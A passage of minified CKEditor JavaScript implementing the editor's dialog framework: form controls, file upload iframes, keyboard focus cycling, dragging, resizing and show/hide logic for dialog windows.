return this},clear:function(){for(var a=this.getInputElement().$;0<a.length;)a.remove(0);return this},keyboardFocusable:!0},b,!0);CKEDITOR.ui.dialog.checkbox.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{getInputElement:function(){return this._.checkbox.getElement()},setValue:function(a,b){this.getInputElement().$.checked=a;!b&&this.fire("change",{value:a})},getValue:function(){return this.getInputElement().$.checked},accessKeyUp:function(){this.setValue(!this.getValue())},eventProcessors:{onChange:function(a,
b){if(!CKEDITOR.env.ie||8<CKEDITOR.env.version)return c.onChange.apply(this,arguments);a.on("load",function(){var a=this._.checkbox.getElement();a.on("propertychange",function(b){b=b.data.$;"checked"==b.propertyName&&this.fire("change",{value:a.$.checked})},this)},this);this.on("change",b);return null}},keyboardFocusable:!0},b,!0);CKEDITOR.ui.dialog.radio.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.uiElement,{setValue:function(a,b){for(var c=this._.children,e,f=0;f<c.length&&(e=c[f]);f++)e.getElement().$.checked=
e.getValue()==a;!b&&this.fire("change",{value:a})},getValue:function(){for(var a=this._.children,b=0;b<a.length;b++)if(a[b].getElement().$.checked)return a[b].getValue();return null},accessKeyUp:function(){var a=this._.children,b;for(b=0;b<a.length;b++)if(a[b].getElement().$.checked){a[b].getElement().focus();return}a[0].getElement().focus()},eventProcessors:{onChange:function(a,b){if(!CKEDITOR.env.ie||8<CKEDITOR.env.version)return c.onChange.apply(this,arguments);a.on("load",function(){for(var a=
this._.children,b=this,d=0;d<a.length;d++)a[d].getElement().on("propertychange",function(a){a=a.data.$;"checked"==a.propertyName&&this.$.checked&&b.fire("change",{value:this.getAttribute("value")})})},this);this.on("change",b);return null}}},b,!0);CKEDITOR.ui.dialog.file.prototype=CKEDITOR.tools.extend(new CKEDITOR.ui.dialog.labeledElement,b,{getInputElement:function(){var a=CKEDITOR.document.getById(this._.frameId).getFrameDocument();return 0<a.$.forms.length?new CKEDITOR.dom.element(a.$.forms[0].elements[0]):
this.getElement()},submit:function(){this.getInputElement().getParent().$.submit();return this},getAction:function(){return this.getInputElement().getParent().$.action},registerEvents:function(a){var b=/^on([A-Z]\w+)/,c,e=function(a,b,d,c){a.on("formLoaded",function(){a.getInputElement().on(d,c,a)})},f;for(f in a)if(c=f.match(b))this.eventProcessors[f]?this.eventProcessors[f].call(this,this._.dialog,a[f]):e(this,this._.dialog,c[1].toLowerCase(),a[f]);return this},reset:function(){function a(){c.$.open();
var d="";e.size&&(d=e.size-(CKEDITOR.env.ie?7:0));var t=b.frameId+"_input";c.$.write(['\x3chtml dir\x3d"'+m+'" lang\x3d"'+u+'"\x3e\x3chead\x3e\x3ctitle\x3e\x3c/title\x3e\x3c/head\x3e\x3cbody style\x3d"margin: 0; overflow: hidden; background: transparent;"\x3e','\x3cform enctype\x3d"multipart/form-data" method\x3d"POST" dir\x3d"'+m+'" lang\x3d"'+u+'" action\x3d"',CKEDITOR.tools.htmlEncode(e.action),'"\x3e\x3clabel id\x3d"',b.labelId,'" for\x3d"',t,'" style\x3d"display:none"\x3e',CKEDITOR.tools.htmlEncode(e.label),
'\x3c/label\x3e\x3cinput style\x3d"width:100%" id\x3d"',t,'" aria-labelledby\x3d"',b.labelId,'" type\x3d"file" name\x3d"',CKEDITOR.tools.htmlEncode(e.id||"cke_upload"),'" size\x3d"',CKEDITOR.tools.htmlEncode(0<d?d:""),'" /\x3e\x3c/form\x3e\x3c/body\x3e\x3c/html\x3e\x3cscript\x3e',CKEDITOR.env.ie?"("+CKEDITOR.tools.fixDomain+")();":"","window.parent.CKEDITOR.tools.callFunction("+h+");","window.onbeforeunload \x3d function() {window.parent.CKEDITOR.tools.callFunction("+l+")}","\x3c/script\x3e"].join(""));
c.$.close();for(d=0;d<f.length;d++)f[d].enable()}var b=this._,c=CKEDITOR.document.getById(b.frameId).getFrameDocument(),e=b.definition,f=b.buttons,h=this.formLoadedNumber,l=this.formUnloadNumber,m=b.dialog._.editor.lang.dir,u=b.dialog._.editor.langCode;h||(h=this.formLoadedNumber=CKEDITOR.tools.addFunction(function(){this.fire("formLoaded")},this),l=this.formUnloadNumber=CKEDITOR.tools.addFunction(function(){this.getInputElement().clearCustomData()},this),this.getDialog()._.editor.on("destroy",function(){CKEDITOR.tools.removeFunction(h);
CKEDITOR.tools.removeFunction(l)}));CKEDITOR.env.gecko?setTimeout(a,500):a()},getValue:function(){return this.getInputElement().$.value||""},setInitValue:function(){this._.initValue=""},eventProcessors:{onChange:function(a,b){this._.domOnChangeRegistered||(this.on("formLoaded",function(){this.getInputElement().on("change",function(){this.fire("change",{value:this.getValue()})},this)},this),this._.domOnChangeRegistered=!0);this.on("change",b)}},keyboardFocusable:!0},!0);CKEDITOR.ui.dialog.fileButton.prototype=
new CKEDITOR.ui.dialog.button;CKEDITOR.ui.dialog.fieldset.prototype=CKEDITOR.tools.clone(CKEDITOR.ui.dialog.hbox.prototype);CKEDITOR.dialog.addUIElement("text",f);CKEDITOR.dialog.addUIElement("password",f);CKEDITOR.dialog.addUIElement("tel",f);CKEDITOR.dialog.addUIElement("textarea",e);CKEDITOR.dialog.addUIElement("checkbox",e);CKEDITOR.dialog.addUIElement("radio",e);CKEDITOR.dialog.addUIElement("button",e);CKEDITOR.dialog.addUIElement("select",e);CKEDITOR.dialog.addUIElement("file",e);CKEDITOR.dialog.addUIElement("fileButton",
e);CKEDITOR.dialog.addUIElement("html",e);CKEDITOR.dialog.addUIElement("fieldset",{build:function(a,b,c){for(var e=b.children,f,h=[],l=[],m=0;m<e.length&&(f=e[m]);m++){var u=[];h.push(u);l.push(CKEDITOR.dialog._.uiElementBuilders[f.type].build(a,f,u))}return new CKEDITOR.ui.dialog[b.type](a,l,h,c,b)}})}});CKEDITOR.DIALOG_RESIZE_NONE=0;CKEDITOR.DIALOG_RESIZE_WIDTH=1;CKEDITOR.DIALOG_RESIZE_HEIGHT=2;CKEDITOR.DIALOG_RESIZE_BOTH=3;CKEDITOR.DIALOG_STATE_IDLE=1;CKEDITOR.DIALOG_STATE_BUSY=2;(function(){function a(a){a._.tabBarMode=
!0;a._.tabs[a._.currentTabId][0].focus();a._.currentFocusIndex=-1}function f(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId)+a,d=b-1;d>b-a;d--)if(this._.tabs[this._.tabIdList[d%a]][0].$.offsetHeight)return this._.tabIdList[d%a];return null}function e(){for(var a=this._.tabIdList.length,b=CKEDITOR.tools.indexOf(this._.tabIdList,this._.currentTabId),d=b+1;d<b+a;d++)if(this._.tabs[this._.tabIdList[d%a]][0].$.offsetHeight)return this._.tabIdList[d%a];
return null}function b(a,b){for(var d=a.$.getElementsByTagName("input"),c=0,g=d.length;c<g;c++){var e=new CKEDITOR.dom.element(d[c]);"text"==e.getAttribute("type").toLowerCase()&&(b?(e.setAttribute("value",e.getCustomData("fake_value")||""),e.removeCustomData("fake_value")):(e.setCustomData("fake_value",e.getAttribute("value")),e.setAttribute("value","")))}}function c(a,b){var d=this.getInputElement();d&&(a?d.removeAttribute("aria-invalid"):d.setAttribute("aria-invalid",!0));a||(this.select?this.select():
this.focus());b&&alert(b);this.fire("validated",{valid:a,msg:b})}function m(){var a=this.getInputElement();a&&a.removeAttribute("aria-invalid")}function h(a){var b=CKEDITOR.dom.element.createFromHtml(CKEDITOR.addTemplate("dialog",J).output({id:CKEDITOR.tools.getNextNumber(),editorId:a.id,langDir:a.lang.dir,langCode:a.langCode,editorDialogClass:"cke_editor_"+a.name.replace(/\./g,"\\.")+"_dialog",closeTitle:a.lang.common.close,hidpi:CKEDITOR.env.hidpi?"cke_hidpi":""})),d=b.getChild([0,0,0,0,0]),c=d.getChild(0),
e=d.getChild(1);a.plugins.clipboard&&CKEDITOR.plugins.clipboard.preventDefaultDropOnElement(d);!CKEDITOR.env.ie||CKEDITOR.env.quirks||CKEDITOR.env.edge||(a="javascript:void(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"}())",CKEDITOR.dom.element.createFromHtml('\x3ciframe frameBorder\x3d"0" class\x3d"cke_iframe_shim" src\x3d"'+a+'" tabIndex\x3d"-1"\x3e\x3c/iframe\x3e').appendTo(d.getParent()));c.unselectable();e.unselectable();return{element:b,
parts:{dialog:b.getChild(0),title:c,close:e,tabs:d.getChild(2),contents:d.getChild([3,0,0,0]),footer:d.getChild([3,0,1,0])}}}function l(a,b,d){this.element=b;this.focusIndex=d;this.tabIndex=0;this.isFocusable=function(){return!b.getAttribute("disabled")&&b.isVisible()};this.focus=function(){a._.currentFocusIndex=this.focusIndex;this.element.focus()};b.on("keydown",function(a){a.data.getKeystroke()in{32:1,13:1}&&this.fire("click")});b.on("focus",function(){this.fire("mouseover")});b.on("blur",function(){this.fire("mouseout")})}
function d(a){function b(){a.layout()}var d=CKEDITOR.document.getWindow();d.on("resize",b);a.on("hide",function(){d.removeListener("resize",b)})}function k(a,b){this.dialog=a;for(var d=b.contents,c=0,e;e=d[c];c++)d[c]=e&&new g(a,e);CKEDITOR.tools.extend(this,b)}function g(a,b){this._={dialog:a};CKEDITOR.tools.extend(this,b)}function n(a){function b(d){var h=a.getSize(),l=a.parts.dialog.getParent().getClientSize(),n=d.data.$.screenX,m=d.data.$.screenY,t=n-c.x,r=m-c.y;c={x:n,y:m};e.x+=t;e.y+=r;n=e.x+
k[3]<f?-k[3]:e.x-k[1]>l.width-h.width-f?l.width-h.width+("rtl"==g.lang.dir?0:k[1]):e.x;h=e.y+k[0]<f?-k[0]:e.y-k[2]>l.height-h.height-f?l.height-h.height+k[2]:e.y;n=Math.floor(n);h=Math.floor(h);a.move(n,h,1);d.data.preventDefault()}function d(){CKEDITOR.document.removeListener("mousemove",b);CKEDITOR.document.removeListener("mouseup",d);if(CKEDITOR.env.ie6Compat){var a=G.getChild(0).getFrameDocument();a.removeListener("mousemove",b);a.removeListener("mouseup",d)}}var c=null,e=null,g=a.getParentEditor(),
f=g.config.dialog_magnetDistance,k=CKEDITOR.skin.margins||[0,0,0,0];"undefined"==typeof f&&(f=20);a.parts.title.on("mousedown",function(g){if(!a._.moved){var f=a._.element;f.getFirst().setStyle("position","absolute");f.removeStyle("display");a._.moved=!0;a.layout()}c={x:g.data.$.screenX,y:g.data.$.screenY};CKEDITOR.document.on("mousemove",b);CKEDITOR.document.on("mouseup",d);e=a.getPosition();CKEDITOR.env.ie6Compat&&(f=G.getChild(0).getFrameDocument(),f.on("mousemove",b),f.on("mouseup",d));g.data.preventDefault()},
a)}function r(a){function b(d){var m="rtl"==g.lang.dir,t=n.width,r=n.height,x=t+(d.data.$.screenX-l.x)*(m?-1:1)*(a._.moved?1:2),u=r+(d.data.$.screenY-l.y)*(a._.moved?1:2),v=a._.element.getFirst(),v=m&&parseInt(v.getComputedStyle("right"),10),z=a.getPosition();z.x=z.x||0;z.y=z.y||0;z.y+u>h.height&&(u=h.height-z.y);(m?v:z.x)+x>h.width&&(x=h.width-(m?v:z.x));u=Math.floor(u);x=Math.floor(x);if(e==CKEDITOR.DIALOG_RESIZE_WIDTH||e==CKEDITOR.DIALOG_RESIZE_BOTH)t=Math.max(c.minWidth||0,x-f);if(e==CKEDITOR.DIALOG_RESIZE_HEIGHT||
e==CKEDITOR.DIALOG_RESIZE_BOTH)r=Math.max(c.minHeight||0,u-k);a.resize(t,r);a._.moved&&w(a,a._.position.x,a._.position.y);a._.moved||a.layout();d.data.preventDefault()}function d(){CKEDITOR.document.removeListener("mouseup",d);CKEDITOR.document.removeListener("mousemove",b);m&&(m.remove(),m=null);if(CKEDITOR.env.ie6Compat){var a=G.getChild(0).getFrameDocument();a.removeListener("mouseup",d);a.removeListener("mousemove",b)}}var c=a.definition,e=c.resizable;if(e!=CKEDITOR.DIALOG_RESIZE_NONE){var g=
a.getParentEditor(),f,k,h,l,n,m,t=CKEDITOR.tools.addFunction(function(c){function e(a){return a.isVisible()}n=a.getSize();var g=a.parts.contents,t=g.$.getElementsByTagName("iframe").length,r=!(CKEDITOR.env.gecko||CKEDITOR.env.ie&&CKEDITOR.env.quirks);t&&(m=CKEDITOR.dom.element.createFromHtml('\x3cdiv class\x3d"cke_dialog_resize_cover" style\x3d"height: 100%; position: absolute; width: 100%; left:0; top:0;"\x3e\x3c/div\x3e'),g.append(m));k=n.height-a.parts.contents.getFirst(e).getSize("height",r);
f=n.width-a.parts.contents.getFirst(e).getSize("width",1);l={x:c.screenX,y:c.screenY};h=CKEDITOR.document.getWindow().getViewPaneSize();CKEDITOR.document.on("mousemove",b);CKEDITOR.document.on("mouseup",d);CKEDITOR.env.ie6Compat&&(g=G.getChild(0).getFrameDocument(),g.on("mousemove",b),g.on("mouseup",d));c.preventDefault&&c.preventDefault()});a.on("load",function(){var b="";e==CKEDITOR.DIALOG_RESIZE_WIDTH?b=" cke_resizer_horizontal":e==CKEDITOR.DIALOG_RESIZE_HEIGHT&&(b=" cke_resizer_vertical");b=CKEDITOR.dom.element.createFromHtml('\x3cdiv class\x3d"cke_resizer'+
b+" cke_resizer_"+g.lang.dir+'" title\x3d"'+CKEDITOR.tools.htmlEncode(g.lang.common.resize)+'" onmousedown\x3d"CKEDITOR.tools.callFunction('+t+', event )"\x3e'+("ltr"==g.lang.dir?"◢":"◣")+"\x3c/div\x3e");a.parts.footer.append(b,1)});g.on("destroy",function(){CKEDITOR.tools.removeFunction(t)})}}function w(a,b,d){var c=a.parts.dialog.getParent().getClientSize(),e=a.getSize(),g=a._.viewportRatio,f=Math.max(c.width-e.width,0),c=Math.max(c.height-e.height,0);g.width=f?b/f:g.width;g.height=c?d/c:g.height;
a._.viewportRatio=g}function q(a){a.data.preventDefault(1)}function p(a){var b=a.config,d=CKEDITOR.skinName||a.config.skin,c=b.dialog_backgroundCoverColor||("moono-lisa"==d?"black":"white"),d=b.dialog_backgroundCoverOpacity,e=b.baseFloatZIndex,b=CKEDITOR.tools.genKey(c,d,e),g=I[b];CKEDITOR.document.getBody().addClass("cke_dialog_open");g?g.show():(e=['\x3cdiv tabIndex\x3d"-1" style\x3d"position: ',CKEDITOR.env.ie6Compat?"absolute":"fixed","; z-index: ",e,"; top: 0px; left: 0px; ","; width: 100%; height: 100%;",
CKEDITOR.env.ie6Compat?"":"background-color: "+c,'" class\x3d"cke_dialog_background_cover"\x3e'],CKEDITOR.env.ie6Compat&&(c="\x3chtml\x3e\x3cbody style\x3d\\'background-color:"+c+";\\'\x3e\x3c/body\x3e\x3c/html\x3e",e.push('\x3ciframe hidefocus\x3d"true" frameborder\x3d"0" id\x3d"cke_dialog_background_iframe" src\x3d"javascript:'),e.push("void((function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.write( '"+c+"' );document.close();")+"})())"),e.push('" style\x3d"position:absolute;left:0;top:0;width:100%;height: 100%;filter: progid:DXImageTransform.Microsoft.Alpha(opacity\x3d0)"\x3e\x3c/iframe\x3e')),
e.push("\x3c/div\x3e"),g=CKEDITOR.dom.element.createFromHtml(e.join("")),g.setOpacity(void 0!==d?d:.5),g.on("keydown",q),g.on("keypress",q),g.on("keyup",q),g.appendTo(CKEDITOR.document.getBody()),I[b]=g);a.focusManager.add(g);G=g;CKEDITOR.env.mac&&CKEDITOR.env.webkit||g.focus()}function u(a){CKEDITOR.document.getBody().removeClass("cke_dialog_open");G&&(a.focusManager.remove(G),G.hide())}function x(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,d=a.data.$.altKey,c=a.data.$.shiftKey,e=String.fromCharCode(a.data.$.keyCode);
(b=K[(b?"CTRL+":"")+(d?"ALT+":"")+(c?"SHIFT+":"")+e])&&b.length&&(b=b[b.length-1],b.keydown&&b.keydown.call(b.uiElement,b.dialog,b.key),a.data.preventDefault())}function t(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,d=a.data.$.altKey,c=a.data.$.shiftKey,e=String.fromCharCode(a.data.$.keyCode);(b=K[(b?"CTRL+":"")+(d?"ALT+":"")+(c?"SHIFT+":"")+e])&&b.length&&(b=b[b.length-1],b.keyup&&(b.keyup.call(b.uiElement,b.dialog,b.key),a.data.preventDefault()))}function B(a,b,d,c,e){(K[d]||(K[d]=[])).push({uiElement:a,
dialog:b,key:d,keyup:e||a.accessKeyUp,keydown:c||a.accessKeyDown})}function v(a){for(var b in K){for(var d=K[b],c=d.length-1;0<=c;c--)d[c].dialog!=a&&d[c].uiElement!=a||d.splice(c,1);0===d.length&&delete K[b]}}function y(a,b){a._.accessKeyMap[b]&&a.selectPage(a._.accessKeyMap[b])}function z(){}var A=CKEDITOR.tools.cssLength,D,G,E=!CKEDITOR.env.ie||CKEDITOR.env.edge,J='\x3cdiv class\x3d"cke_reset_all cke_dialog_container {editorId} {editorDialogClass} {hidpi}" dir\x3d"{langDir}" style\x3d"'+(E?"display:flex":
"")+'" lang\x3d"{langCode}" role\x3d"dialog" aria-labelledby\x3d"cke_dialog_title_{id}"\x3e\x3ctable class\x3d"cke_dialog '+CKEDITOR.env.cssClass+' cke_{langDir}" style\x3d"'+(E?"margin:auto":"position:absolute")+'" role\x3d"presentation"\x3e\x3ctr\x3e\x3ctd role\x3d"presentation"\x3e\x3cdiv class\x3d"cke_dialog_body" role\x3d"presentation"\x3e\x3cdiv id\x3d"cke_dialog_title_{id}" class\x3d"cke_dialog_title" role\x3d"presentation"\x3e\x3c/div\x3e\x3ca id\x3d"cke_dialog_close_button_{id}" class\x3d"cke_dialog_close_button" href\x3d"javascript:void(0)" title\x3d"{closeTitle}" role\x3d"button"\x3e\x3cspan class\x3d"cke_label"\x3eX\x3c/span\x3e\x3c/a\x3e\x3cdiv id\x3d"cke_dialog_tabs_{id}" class\x3d"cke_dialog_tabs" role\x3d"tablist"\x3e\x3c/div\x3e\x3ctable class\x3d"cke_dialog_contents" role\x3d"presentation"\x3e\x3ctr\x3e\x3ctd id\x3d"cke_dialog_contents_{id}" class\x3d"cke_dialog_contents_body" role\x3d"presentation"\x3e\x3c/td\x3e\x3c/tr\x3e\x3ctr\x3e\x3ctd id\x3d"cke_dialog_footer_{id}" class\x3d"cke_dialog_footer" role\x3d"presentation"\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e\x3c/td\x3e\x3c/tr\x3e\x3c/table\x3e\x3c/div\x3e';
CKEDITOR.dialog=function(b,d){function g(){var a=A._.focusList;a.sort(function(a,b){return a.tabIndex!=b.tabIndex?b.tabIndex-a.tabIndex:a.focusIndex-b.focusIndex});for(var b=a.length,d=0;d<b;d++)a[d].focusIndex=d}function l(a){var b=A._.focusList;a=a||0;if(!(1>b.length)){var d=A._.currentFocusIndex;A._.tabBarMode&&0>a&&(d=0);try{b[d].getInputElement().$.blur()}catch(c){}var e=d,g=1<A._.pageCount;do{e+=a;if(g&&!A._.tabBarMode&&(e==b.length||-1==e)){A._.tabBarMode=!0;A._.tabs[A._.currentTabId][0].focus();
A._.currentFocusIndex=-1;return}e=(e+b.length)%b.length;if(e==d)break}while(a&&!b[e].isFocusable());b[e].focus();"text"==b[e].type&&b[e].select()}}function t(d){if(A==CKEDITOR.dialog._.currentTop){var c=d.data.getKeystroke(),g="rtl"==b.lang.dir,k=[37,38,39,40];B=w=0;if(9==c||c==CKEDITOR.SHIFT+9)l(c==CKEDITOR.SHIFT+9?-1:1),B=1;else if(c==CKEDITOR.ALT+121&&!A._.tabBarMode&&1<A.getPageCount())a(A),B=1;else if(-1!=CKEDITOR.tools.indexOf(k,c)&&A._.tabBarMode)c=-1!=CKEDITOR.tools.indexOf([g?39:37,38],c)?
f.call(A):e.call(A),A.selectPage(c),A._.tabs[c][0].focus(),B=1;else if(13!=c&&32!=c||!A._.tabBarMode)if(13==c)c=d.data.getTarget(),c.is("a","button","select","textarea")||c.is("input")&&"button"==c.$.type||((c=this.getButton("ok"))&&CKEDITOR.tools.setTimeout(c.click,0,c),B=1),w=1;else if(27==c)(c=this.getButton("cancel"))?CKEDITOR.tools.setTimeout(c.click,0,c):!1!==this.fire("cancel",{hide:!0}).hide&&this.hide(),w=1;else return;else this.selectPage(this._.currentTabId),this._.tabBarMode=!1,this._.currentFocusIndex=
-1,l(1),B=1;x(d)}}function x(a){B?a.data.preventDefault(1):w&&a.data.stopPropagation()}var u=CKEDITOR.dialog._.dialogDefinitions[d],v=CKEDITOR.tools.clone(D),z=b.config.dialog_buttonsOrder||"OS",p=b.lang.dir,y={},B,w;("OS"==z&&CKEDITOR.env.mac||"rtl"==z&&"ltr"==p||"ltr"==z&&"rtl"==p)&&v.buttons.reverse();u=CKEDITOR.tools.extend(u(b),v);u=CKEDITOR.tools.clone(u);u=new k(this,u);v=h(b);this._={editor:b,element:v.element,name:d,model:null,contentSize:{width:0,height:0},size:{width:0,height:0},contents:{},
buttons:{},accessKeyMap:{},viewportRatio:{width:.5,height:.5},tabs:{},tabIdList:[],currentTabId:null,currentTabIndex:null,pageCount:0,lastTab:null,tabBarMode:!1,focusList:[],currentFocusIndex:0,hasFocus:!1};this.parts=v.parts;CKEDITOR.tools.setTimeout(function(){b.fire("ariaWidget",this.parts.contents)},0,this);v={top:0,visibility:"hidden"};CKEDITOR.env.ie6Compat&&(v.position="absolute");v["rtl"==p?"right":"left"]=0;this.parts.dialog.setStyles(v);CKEDITOR.event.call(this);this.definition=u=CKEDITOR.fire("dialogDefinition",
{name:d,definition:u,dialog:this},b).definition;if(!("removeDialogTabs"in b._)&&b.config.removeDialogTabs){v=b.config.removeDialogTabs.split(";");for(p=0;p<v.length;p++)if(z=v[p].split(":"),2==z.length){var q=z[0];y[q]||(y[q]=[]);y[q].push(z[1])}b._.removeDialogTabs=y}if(b._.removeDialogTabs&&(y=b._.removeDialogTabs[d]))for(p=0;p<y.length;p++)u.removeContents(y[p]);if(u.onLoad)this.on("load",u.onLoad);if(u.onShow)this.on("show",u.onShow);if(u.onHide)this.on("hide",u.onHide);if(u.onOk)this.on("ok",
function(a){b.fire("saveSnapshot");setTimeout(function(){b.fire("saveSnapshot")},0);!1===u.onOk.call(this,a)&&(a.data.hide=!1)});this.state=CKEDITOR.DIALOG_STATE_IDLE;if(u.onCancel)this.on("cancel",function(a){!1===u.onCancel.call(this,a)&&(a.data.hide=!1)});var A=this,G=function(a){var b=A._.contents,d=!1,c;for(c in b)for(var e in b[c])if(d=a.call(this,b[c][e]))return};this.on("ok",function(a){G(function(b){if(b.validate){var d=b.validate(this),e="string"==typeof d||!1===d;e&&(a.data.hide=!1,a.stop());
c.call(b,!e,"string"==typeof d?d:void 0);return e}})},this,null,0);this.on("cancel",function(a){G(function(d){if(d.isChanged())return b.config.dialog_noConfirmCancel||confirm(b.lang.common.confirmCancel)||(a.data.hide=!1),!0})},this,null,0);this.parts.close.on("click",function(a){!1!==this.fire("cancel",{hide:!0}).hide&&this.hide();a.data.preventDefault()},this);this.changeFocus=l;var E=this._.element;b.focusManager.add(E,1);this.on("show",function(){E.on("keydown",t,this);if(CKEDITOR.env.gecko)E.on("keypress",
x,this)});this.on("hide",function(){E.removeListener("keydown",t);CKEDITOR.env.gecko&&E.removeListener("keypress",x);G(function(a){m.apply(a)})});this.on("iframeAdded",function(a){(new CKEDITOR.dom.document(a.data.iframe.$.contentWindow.document)).on("keydown",t,this,null,0)});this.on("show",function(){g();var a=1<A._.pageCount;b.config.dialog_startupFocusTab&&a?(A._.tabBarMode=!0,A._.tabs[A._.currentTabId][0].focus(),A._.currentFocusIndex=-1):this._.hasFocus||(this._.currentFocusIndex=a?-1:this._.focusList.length-
1,u.onFocus?(a=u.onFocus.call(this))&&a.focus():l(1))},this,null,4294967295);if(CKEDITOR.env.ie6Compat)this.on("load",function(){var a=this.getElement(),b=a.getFirst();b.remove();b.appendTo(a)},this);n(this);r(this);(new CKEDITOR.dom.text(u.title,CKEDITOR.document)).appendTo(this.parts.title);for(p=0;p<u.contents.length;p++)(y=u.contents[p])&&this.addPage(y);this.parts.tabs.on("click",function(b){var d=b.data.getTarget();d.hasClass("cke_dialog_tab")&&(d=d.$.id,this.selectPage(d.substring(4,d.lastIndexOf("_"))),
a(this),b.data.preventDefault())},this);p=[];y=CKEDITOR.dialog._.uiElementBuilders.hbox.build(this,{type:"hbox",className:"cke_dialog_footer_buttons",widths:[],children:u.buttons},p).getChild();this.parts.footer.setHtml(p.join(""));for(p=0;p<y.length;p++)this._.buttons[y[p].id]=y[p]};CKEDITOR.dialog.prototype={destroy:function(){this.hide();this._.element.remove()},resize:function(a,b){if(!this._.contentSize||this._.contentSize.width!=a||this._.contentSize.height!=b){CKEDITOR.dialog.fire("resize",
{dialog:this,width:a,height:b},this._.editor);this.fire("resize",{width:a,height:b},this._.editor);this.parts.contents.setStyles({width:a+"px",height:b+"px"});if("rtl"==this._.editor.lang.dir&&this._.position){var d=this.parts.dialog.getParent().getClientSize().width;this._.position.x=d-this._.contentSize.width-parseInt(this._.element.getFirst().getStyle("right"),10)}this._.contentSize={width:a,height:b}}},getSize:function(){var a=this._.element.getFirst();return{width:a.$.offsetWidth||0,height:a.$.offsetHeight||
0}},move:function(a,b,d){var c=this._.element.getFirst(),e="rtl"==this._.editor.lang.dir;CKEDITOR.env.ie&&c.setStyle("zoom","100%");var g=this.parts.dialog.getParent().getClientSize(),f=this.getSize(),k=this._.viewportRatio,h=Math.max(g.width-f.width,0),g=Math.max(g.height-f.height,0);this._.position&&this._.position.x==a&&this._.position.y==b?(a=Math.floor(h*k.width),b=Math.floor(g*k.height)):w(this,a,b);this._.position={x:a,y:b};e&&(a=h-a);b={top:(0<b?b:0)+"px"};b[e?"right":"left"]=(0<a?a:0)+"px";
c.setStyles(b);d&&(this._.moved=1)},getPosition:function(){return CKEDITOR.tools.extend({},this._.position)},show:function(){var a=this._.element,b=this.definition,c=CKEDITOR.document.getBody(),e=this._.editor.config.baseFloatZIndex;a.getParent()&&a.getParent().equals(c)?a.setStyle("display",E?"flex":"block"):a.appendTo(c);this.resize(this._.contentSize&&this._.contentSize.width||b.width||b.minWidth,this._.contentSize&&this._.contentSize.height||b.height||b.minHeight);this.reset();null===this._.currentTabId&&
this.selectPage(this.definition.contents[0].id);null===CKEDITOR.dialog._.currentZIndex&&(CKEDITOR.dialog._.currentZIndex=e);this._.element.getFirst().setStyle("z-index",CKEDITOR.dialog._.currentZIndex+=10);this.getElement().setStyle("z-index",CKEDITOR.dialog._.currentZIndex);null===CKEDITOR.dialog._.currentTop?(CKEDITOR.dialog._.currentTop=this,this._.parentDialog=null,p(this._.editor)):(this._.parentDialog=CKEDITOR.dialog._.currentTop,c=this._.parentDialog.getElement().getFirst(),c.$.style.zIndex-=
Math.floor(e/2),this._.parentDialog.getElement().setStyle("z-index",c.$.style.zIndex),CKEDITOR.dialog._.currentTop=this);a.on("keydown",x);a.on("keyup",t);this._.hasFocus=!1;for(var g in b.contents)if(b.contents[g]){var a=b.contents[g],e=this._.tabs[a.id],c=a.requiredContent,f=0;if(e){for(var k in this._.contents[a.id]){var h=this._.contents[a.id][k];"hbox"!=h.type&&"vbox"!=h.type&&h.getInputElement()&&(h.requiredContent&&!this._.editor.activeFilter.check(h.requiredContent)?h.disable():(h.enable(),
f++))}!f||c&&!this._.editor.activeFilter.check(c)?e[0].addClass("cke_dialog_tab_disabled"):e[0].removeClass("cke_dialog_tab_disabled")}}CKEDITOR.tools.setTimeout(function(){this.layout();d(this);this.parts.dialog.setStyle("visibility","");this.fireOnce("load",{});CKEDITOR.ui.fire("ready",this);this.fire("show",{});this._.editor.fire("dialogShow",this);this._.parentDialog||this._.editor.focusManager.lock();this.foreach(function(a){a.setInitValue&&a.setInitValue()})},100,this)},layout:function(){var a=
this.parts.dialog;if(this._.moved||!E){var b=this.getSize(),d=CKEDITOR.document.getWindow().getViewPaneSize(),c;this._.moved&&this._.position?(c=this._.position.x,b=this._.position.y):(c=(d.width-b.width)/2,b=(d.height-b.height)/2);CKEDITOR.env.ie6Compat||(a.setStyle("position","absolute"),a.removeStyle("margin"));c=Math.floor(c);b=Math.floor(b);this.move(c,b)}},foreach:function(a){for(var b in this._.contents)for(var d in this._.contents[b])a.call(this,this._.contents[b][d]);return this},reset:function(){var a=
function(a){a.reset&&a.reset(1)};return function(){this.foreach(a);return this}}(),setupContent:function(){var a=arguments;this.foreach(function(b){b.setup&&b.setup.apply(b,a)})},commitContent:function(){var a=arguments;this.foreach(function(b){CKEDITOR.env.ie&&this._.currentFocusIndex==b.focusIndex&&b.getInputElement().$.blur();b.commit&&b.commit.apply(b,a)})},hide:function(){if(this.parts.dialog.isVisible()){this.fire("hide",{});this._.editor.fire("dialogHide",this);this.selectPage(this._.tabIdList[0]);
var a=this._.element;a.setStyle("display","none");this.parts.dialog.setStyle("visibility","hidden");for(v(this);CKEDITOR.dialog._.currentTop!=this;)CKEDITOR.dialog._.currentTop.hide();if(this._.parentDialog){var b=this._.parentDialog.getElement().getFirst();this._.parentDialog.getElement().removeStyle("z-index");b.setStyle("z-index",parseInt(b.$.style.zIndex,10)+Math.floor(this._.editor.config.baseFloatZIndex/2))}else u(this._.editor);if(CKEDITOR.dialog._.currentTop=this._.parentDialog)CKEDITOR.dialog._.currentZIndex-=
10;else{CKEDITOR.dialog._.currentZIndex=null;a.removeListener("keydown",x);a.removeListener("keyup",t);var d=this._.editor;d.focus();setTimeout(function(){d.focusManager.unlock();CKEDITOR.env.iOS&&d.window.focus()},0)}delete this._.parentDialog;this.foreach(function(a){a.resetInitValue&&a.resetInitValue()});this.setState(CKEDITOR.DIALOG_STATE_IDLE)}},addPage:function(a){if(!a.requiredContent||this._.editor.filter.check(a.requiredContent)){for(var b=[],d=a.label?' title\x3d"'+CKEDITOR.tools.htmlEncode(a.label)+
